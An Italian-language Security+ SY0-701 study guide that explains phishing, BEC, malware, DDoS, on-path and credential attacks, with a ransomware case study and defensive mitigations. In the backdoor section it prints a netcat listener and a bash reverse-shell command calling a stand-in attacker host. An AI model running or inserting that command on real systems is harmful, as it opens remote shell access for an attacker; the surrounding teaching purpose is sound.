CompTIA SY0-701: Minacce, Attacchi e Vulnerabilità — Guida allo studio
Fa parte della CompTIA Security+ SY0-701 — Guida allo studio. Esercitati con risposte verificate nel centro esami CompTIA, oppure fai test cronometrati su ExamRoll.io.
Il panorama delle minacce moderno è definito da avversari che combinano lo sfruttamento tecnico con la manipolazione umana, concatenano debolezze di bassa gravità in compromissioni ad alto impatto e mascherano la loro attività all’interno di processi aziendali legittimi. Comprendere le minacce inizia con la comprensione dell’intento, della capacità e del vettore, e con il rifiuto di accettare il sintomo superficiale come spiegazione completa.
Social Engineering e Varianti di Phishing
Il social engineering sfrutta la fiducia, l’urgenza, l’autorità o la curiosità piuttosto che le vulnerabilità software. Il phishing tradizionale getta una rete ampia tramite email, inviando esche generiche come false notifiche di spedizione o richieste di reimpostazione della password a migliaia di destinatari. Lo spear phishing restringe il campo, utilizzando la ricognizione da LinkedIn, siti web aziendali o dump di dati da violazioni per creare messaggi personalizzati per un individuo o un dipartimento specifico. Il whaling prende di mira i dirigenti — il CFO che riceve un messaggio creato per sembrare proveniente da un consulente legale esterno è il bersaglio classico — perché la loro autorità consente frodi di impatto maggiore.
Le varianti di canale estendono la stessa manipolazione ad altri media. Il vishing (voice phishing) utilizza le telefonate, spesso con ID chiamante falsificato e un pretesto come impersonare l’help desk IT per estorcere codici MFA. Lo smishing utilizza gli SMS, sfruttando frequentemente URL abbreviati ed esche specifiche per dispositivi mobili (“Il tuo pacco non ha potuto essere consegnato — riprogramma qui”). Poiché i browser mobili troncano gli URL e nascondono i dettagli del certificato, lo smishing ha un tasso di successo sproporzionatamente alto.
Il Business Email Compromise (BEC) merita un’attenzione speciale perché in genere non coinvolge alcun malware. Un attaccante che ha compromesso una casella di posta legittima o ha falsificato un dominio simile (accounts@vend0r-corp.com invece di accounts@vendor-corp.com) si inserisce in una conversazione reale relativa a una fattura e dirotta un bonifico bancario. Poiché il contenuto dell’email è contestualmente accurato e non sono presenti allegati, l’anti-malware del gateway e il sandboxing degli URL offrono poca protezione. L’IC3 dell’FBI ha riportato perdite per BEC superiori a 2,9 miliardi di dollari in un solo anno, rendendola la categoria di crimine informatico con il più alto valore economico con un ampio margine.
Una trappola comune è sovrainterpretare sintomi apparentemente benigni. Quando un utente invia le credenziali a un sito di phishing e riceve un errore “pagina non trovata”, l’incidente non è risolto: è una raccolta di credenziali completata, in cui l’attaccante ha reindirizzato la vittima dopo la cattura. L’assenza di una pagina di errore evidente è una caratteristica dell’attacco, non una prova del suo fallimento.
Tipi di Malware
Il malware non è un’entità monolitica. Il ransomware crittografa i dati e richiede un pagamento, e varianti moderne come Ryuk, Conti e LockBit esfiltrano anche i dati prima, per avere una leva per la doppia estorsione. Un indicatore rivelatore è una modifica massiva dell’estensione dei file — file rinominati in .ryk, .locked o una stringa casuale — insieme a note di riscatto chiamate README.txt o HOW_TO_DECRYPT.html in ogni directory.
I rootkit operano a un livello molto più profondo, agganciandosi a strutture del kernel, tabelle delle chiamate di sistema o firmware (bootkit, impianti UEFI) per nascondere processi, file e connessioni di rete al sistema operativo stesso. Poiché gli strumenti standard interrogano il kernel che il rootkit controlla, l’output di tasklist o ps non può essere considerato affidabile; il rilevamento richiede tipicamente l’imaging forense offline o il confronto con una baseline nota e affidabile tramite strumenti come chkrootkit o l’analisi della memoria con Volatility.
Le backdoor forniscono un accesso non autorizzato persistente, spesso installate dopo la compromissione iniziale. Possono assumere la forma di un’attività pianificata che invia segnali (beaconing) a un server di comando e controllo, una credenziale hardcoded inserita in un’applicazione o un servizio in ascolto su una porta oscura. Le reverse shell che utilizzano strumenti come Netcat o Meterpreter sono tipiche:
# Attacker listener
nc -lvnp 4444
# Victim callback (dropped by malware)
bash -i >& /dev/tcp/attacker.example/4444 0>&1
La trappola qui è la visione a tunnel durante il triage. Un avviso etichettato come “malware rilevato” che viene rapidamente messo in quarantena non significa che l’incidente sia finito: il dropper iniziale potrebbe aver già stabilito una backdoor o installato un rootkit che l’agent sull’endpoint non può vedere.
Attacchi di Rete
Gli attacchi Distributed Denial-of-Service (DDoS) mirano alla disponibilità. Gli attacchi volumetrici — flood UDP, flood ICMP — consumano la larghezza di banda grezza. Gli attacchi riflessi/amplificati abusano di servizi di terze parti che rispondono con payload più grandi rispetto alla richiesta; una query DNS di 60 byte con un indirizzo di origine falsificato può restituire una risposta di 3.000 byte, e l’amplificazione tramite NTP monlist o memcached può raggiungere rapporti superiori a 50.000×. Quando i servizi web pubblici rimangono “attivi” sul server ma sono irraggiungibili da Internet, e i log di rete mostrano un picco di traffico, la risposta è quasi sempre un DDoS che satura i link upstream o le tabelle di stato — non un bug dell’applicazione.
Gli attacchi on-path (precedentemente noti come “man-in-the-middle”) posizionano l’attaccante tra due parti comunicanti. Su una rete locale, l’ARP poisoning è il meccanismo usuale: l’attaccante invia risposte ARP non richieste che rivendicano l’IP del gateway, così il traffico della vittima viene silenziosamente instradato attraverso l’host dell’attaccante. Strumenti come ettercap o arpspoof automatizzano questo processo, dopodiché l’attaccante può rimuovere TLS con sslstrip o iniettare contenuti.
Il typosquatting consiste nel registrare domini che imitano quelli legittimi (goggle.com, paypa1.com) per intercettare URL digitati male o per fungere da infrastruttura convincente per il phishing e il BEC.
Attacchi alle credenziali
Invece di sfruttare vulnerabilità nel codice, gli attacchi alle credenziali sfruttano un’autenticazione debole. L’attacco Brute force (forza bruta) tenta ogni possibile password su un singolo account ed è un attacco rumoroso, che attiva le policy di blocco dell’account (lockout). Il Password spraying inverte il modello: si provano una o due password molto comuni (Winter2024!, Password123) su migliaia di account, rimanendo al di sotto della soglia di blocco per ogni singolo account. Questo approccio è eccezionalmente efficace contro le organizzazioni che non utilizzano l’MFA sui propri provider di identità cloud.
Il Credential stuffing riutilizza coppie di nome utente/password raccolte da violazioni precedenti (breach), sfruttando il riutilizzo delle password su più servizi. Poiché le credenziali sono valide su almeno un servizio, riescono a bypassare i controlli di autenticazione di base. La violazione di Okta del 2022 è iniziata con un attacco di credential stuffing contro l’account di un fornitore di supporto, dimostrando che nemmeno i provider di identità sono immuni quando l’MFA non è applicata su ogni percorso di accesso privilegiato.
Gli attacchi Pass-the-hash e pass-the-ticket rubano il materiale di autenticazione direttamente dalla memoria invece di decifrare le password. Sui sistemi Windows, gli hash NTLM memorizzati nella memoria di LSASS possono essere estratti con Mimikatz e riutilizzati per autenticarsi su altri sistemi senza conoscere la password in chiaro. Allo stesso modo, i ticket-granting ticket (TGT) di Kerberos possono essere rubati e riutilizzati. Le mitigazioni includono Credential Guard (che isola LSASS in un’enclave di sicurezza basata sulla virtualizzazione), l’appartenenza al gruppo di sicurezza Protected Users e la disabilitazione di NTLM dove è disponibile Kerberos.
Scenario Pratico: Ransomware tramite Password Spraying
Un’azienda di logistica con 2.400 dipendenti non aveva imposto l’MFA sul proprio tenant di Microsoft 365. Un aggressore ha condotto un attacco di password spraying per tre giorni, testando la password Summer2023! su tutti gli indirizzi email noti raccolti da LinkedIn. Quarantuno account sono risultati compromessi. L’aggressore ha utilizzato uno degli account compromessi — quello di un manager regionale — per accedere alla VPN aziendale, che accettava le credenziali di M365. Dalla VPN, l’aggressore ha trascorso due settimane a compiere una ricognizione interna, identificando i server di backup e i domain controller. Un venerdì sera, il ransomware LockBit è stato attivato su 340 server. Il ripristino ha richiesto 19 giorni ed è costato circa 4,1 milioni di dollari, includendo il riscatto, l’analisi forense e la perdita di fatturato. L’intera catena di attacco è stata resa possibile da un unico controllo mancante: l’MFA sul tenant di M365. Il password spraying è rilevabile: una regola SIEM che correla le autenticazioni fallite su molti account provenienti da un singolo IP lo avrebbe segnalato fin dal primo giorno.
← Gestione delle Identità e degli Accessi · Tutti i domini · Sicurezza e Architettura di Rete →
Esercitati su queste domande → · Pratica cronometrata su ExamRoll.io →
Pass the whole exam — not just this question
You found this answer. Get every verified question and explanation in one place, and save hours of prep. Free to start.
Supera l'esame →